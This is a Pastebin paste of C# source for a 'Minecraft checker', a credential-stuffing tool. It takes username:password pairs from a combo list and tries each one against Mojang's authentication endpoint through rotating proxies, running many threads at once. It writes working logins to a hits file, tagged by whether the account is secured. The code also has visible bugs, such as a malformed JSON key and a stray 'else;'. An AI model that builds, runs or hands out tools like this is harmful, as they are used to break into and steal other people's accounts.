Advertisement
Guest User

Error

a guest
Aug 19th, 2019
3,147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.35 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7. using xNet;
  8. using Newtonsoft.Json;
  9. using System.Threading;
  10.  
  11. namespace Checker
  12. {
  13.     class program
  14.     {
  15.         static void Main(string[] args)
  16.         {
  17.             Console.WriteLine("Threads :");
  18.             int threads = int.Parse(Console.ReadLine());
  19.  
  20.             Console.WriteLine("Timeout :");
  21.             int timeout = int.Parse(Console.ReadLine());
  22.  
  23.             Console.WriteLine("Proxy Type :");
  24.             string proxiestype = Console.ReadLine().ToUpper();
  25.  
  26.             Console.Clear();
  27.  
  28.  
  29.             List<string> accounts = File.ReadAllLines("accounts.txt").ToList();
  30.             List<string> proxy = File.ReadAllLines("proxy.txt").ToList();
  31.  
  32.             Console.Title = ("FOF Minecraft Checker");
  33.  
  34.             int checkeds = 0;
  35.             int Hits = 0;
  36.             int dead = 0;
  37.  
  38.             int sfa = 0;
  39.             int nfa = 0;
  40.  
  41.             Task.Factory.StartNew(() =>
  42.             {
  43.                 while (true)
  44.                 {
  45.                     Console.Title = "FOF Checker v1 | " + checkeds + " Checked : " + dead + " Bad : " + Hits + " Good : " + nfa + "NFA :" + sfa + "SFA :";
  46.                     Thread.Sleep(500);
  47.  
  48.                 }
  49.             });
  50.  
  51.             Parallel.ForEach(accounts, new ParallelOptions { MaxDegreeOfParallelism = threads }, account =>
  52.             {
  53.                 if (account.Split(':').Length == 2)
  54.                 {
  55.                     string username = account.Split(':')[0];
  56.                     string password = account.Split(':')[1];
  57.  
  58.  
  59.                 request: try
  60.                     {
  61.  
  62.                         using (HttpRequest req = new HttpRequest())
  63.                         {
  64.                             req.Proxy = proxy[new Random().Next(proxy.Count)];
  65.  
  66.                             req.Type = proxiestype;
  67.                             req.ConnectTimeout = timeout;
  68.                             req.KeepAliveTimeout = timeout;
  69.                             req.ReadWriteTimeout = timeout;
  70.  
  71.                             req.AddHeader("Content-Type", "application/json");
  72.  
  73.                             string response = req.Start(HttpMethod.POST, new Uri("https://authserver.mojang.com/authenticate"), new BytesContent(Encoding.UTF8.GetBytes("{\"agent}\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"" + username + "\",\"password\":\"" + password + "\",\"requestUser\":true}"))).ToString();
  74.                             if (response.Contains("selectedProfile"))
  75.                             {
  76.                                 dynamic json = JsonConvert.DeserializeObject(response);
  77.  
  78.                                 bool secured = (bool)json.user.secured;
  79.  
  80.                                 if (secured == true)
  81.                                 {
  82.                                     Console.WriteLine("GOOD : " + accounts + " (NFA)");
  83.                                     Interlocked.Increment(ref nfa);
  84.                                 }
  85.                                 if (secured == false)
  86.                                 {
  87.                                     Console.WriteLine("GOOD : " + accounts + " (SFA)");
  88.                                     Interlocked.Increment(ref sfa);
  89.                                 }
  90.  
  91.                             write: try
  92.                                 {
  93.                                     using (StreamWriter sw = new StreamWriter("hits.txt", false))
  94.                                     {
  95.  
  96.                                         if (secured == true)
  97.                                         {
  98.                                             sw.WriteLine(accounts + "(NFA)");
  99.                                         }
  100.                                         if (secured == false)
  101.                                         {
  102.                                             sw.WriteLine(accounts + "(SFA)");
  103.                                         }
  104.  
  105.                                     }
  106.  
  107.                                 }
  108.                                 catch
  109.                                 {
  110.                                     Thread.Sleep(new Random().Next(25, 75));
  111.                                     goto write;
  112.                                 }
  113.  
  114.                                 Interlocked.Increment(ref Hits);
  115.  
  116.  
  117.                             }
  118.                             else;
  119.                             {
  120.                                 Console.WriteLine("BAD :" + accounts);
  121.                                 Interlocked.Increment(ref dead);
  122.                             }
  123.  
  124.                             Interlocked.Increment(ref checkeds);
  125.  
  126.                         }
  127.  
  128.                     }
  129.                     catch
  130.                     {
  131.                         goto request;
  132.                     }
  133.                 }
  134.  
  135.             });
  136.  
  137.             Console.WriteLine(Environment.NewLine);
  138.             Console.WriteLine(checkeds + " Checked");
  139.             Console.WriteLine(dead + " Bad");
  140.             Console.WriteLine("");
  141.             Console.WriteLine(Hits + " Hits");
  142.             Console.WriteLine("");
  143.             Console.WriteLine(sfa + " SFA");
  144.             Console.WriteLine(nfa + " NFA");
  145.  
  146.             Console.WriteLine("Checked Successfully!");
  147.  
  148.             Thread.Sleep(-1);
  149.  
  150.  
  151.  
  152.  
  153.  
  154.         }
  155.     }
  156. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement